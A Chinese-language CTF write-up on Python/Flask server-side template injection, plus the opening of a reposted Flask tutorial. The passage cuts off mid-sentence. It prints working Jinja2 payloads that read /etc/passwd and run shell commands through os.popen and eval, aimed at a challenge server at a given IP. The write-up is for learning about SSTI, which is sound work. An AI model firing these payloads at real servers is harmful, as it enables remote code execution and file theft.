python模板注入
Web_python_template_injection
文章内很多知识内容为转载大佬博客,都在文章开头处声明了文章原文地址
事情要从一道CTF的题目说起
打开题目,查看源代码,抓包, 扫目录,什么也没发现,只有页面上一行字,python template injection,这个之前也没有做过类似的题目,满脸问号,只得去找wp,通过大佬的wp学习了很多
题目大概这样做,先通过这条语句判断是否存在注入点
http://220.249.52.133:35728为我的题目地址
http://220.249.52.133:35728/{ {7+7}}
返回URL http://220.249.52.133:35728/14 not found说明执行了7+7这条命令
查看系统配置
http://220.249.52.133:35728/{ {config.items()}}
读取passwd信息
http://220.249.52.133:35728/{ {[].__class__.__base__.__subclasses__()[40](’/etc/passwd’).read() }}
查看所有模块
http://220.249.52.133:35728/{
{''.__class__.__mro__[2].__subclasses__()}}
由于我们想要读取到flag文件里的信息,所以选用 os.popen
首先我们要找到os模块的位置,他是位于<class ‘site._Printer’>里面 ,结果查找在71
通过__subclasses__()[71].__init__.__globals__['os'].popen('命令行语句').read()
执行下面的代码,列出文件
{
{
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
{
% for c in [].__class__.__base__.__subclasses__() %}
{
% if c.__name__ == 'catch_warnings' %}
{
% for b in c.__init__.__globals__.values() %}
{
% if b.__class__ == {
}.__class__ %} //遍历基类 找到eval函数
{
% if 'eval' in b.keys() %} //找到了
{
{
b['eval']('__import__("os").popen("ls").read()') }} //导入cmd 执行popen里的命令 read读出数据
{
% endif %}
{
% endif %}
{
% endfor %}
{
% endif %}
{
% endfor %}
执行下列代码,读取文件
{
{
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}
{
% for c in [].__class__.__base__.__subclasses__() %}
{
% if c.__name__ == 'catch_warnings' %}
{
% for b in c.__init__.__globals__.values() %}
{
% if b.__class__ == {
}.__class__ %} //遍历基类 找到eval函数
{
% if 'eval' in b.keys() %} //找到了
{
{
b['eval']('__import__("os").popen("cat fl4g").read()') }}
{
% endif %}
{
% endif %}
{
% endfor %}
{
% endif %}
{
% endfor %}
flask模板注入
转载文章链接
在学习SSTI之前,先把flask的运作流程搞明白。这样有利用更快速的理解原理。
flask基础
路由
先看一段代码
from flask import flask
@app.route('/index/')
def hello_word():
return 'hello word'
route装饰器的作用是将函数与url绑定起来。例子中的代码的作用就是当你访问http://127.0.0.1:5000/index的时候,flask会返回hello word。
渲染方法
flask的渲染方法有render_template和render_template_string两种。
render_template()是用来渲染一个指定的文件的。使用如下
return render_template('index.html')
render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。
使用方法如下
html = '<h1>This is index page</h1>'
return render_template_string(html)
模板
flask是使用Jinja2来作为渲染引擎的。看例子
在网站的根目录下新建templates文件夹,这里是用来存放html文件。也就是模板文件。
# test.py
from flask import Flask,url_for,redirect,render_template,render_template_string
@app.route('/index/')
def user_login():
return render_template('index.html')
/templates/index.html
<h1>This is index page</h1>
访问127.0.0.1:5000/index/的时候,flask就会渲染出index.html的页面。
模板文件并不是单纯的html代码,而是夹杂着模板的语法,因为页面不可能都是一个样子的,有一些地方是会变化的。比如说显示用户名的地方,这个时候就需要使用模板支持的语法,来传参。
例子:
# test.py
from flask import Flask,url_for,redirect,render_template,render_template_string
@app.route('/index/')
def user_login():
return render_template('index.html',content='This is index page.')
/templates/index.html
<h1>{
{
content}}</h1>
这个时候页面仍然输出Thi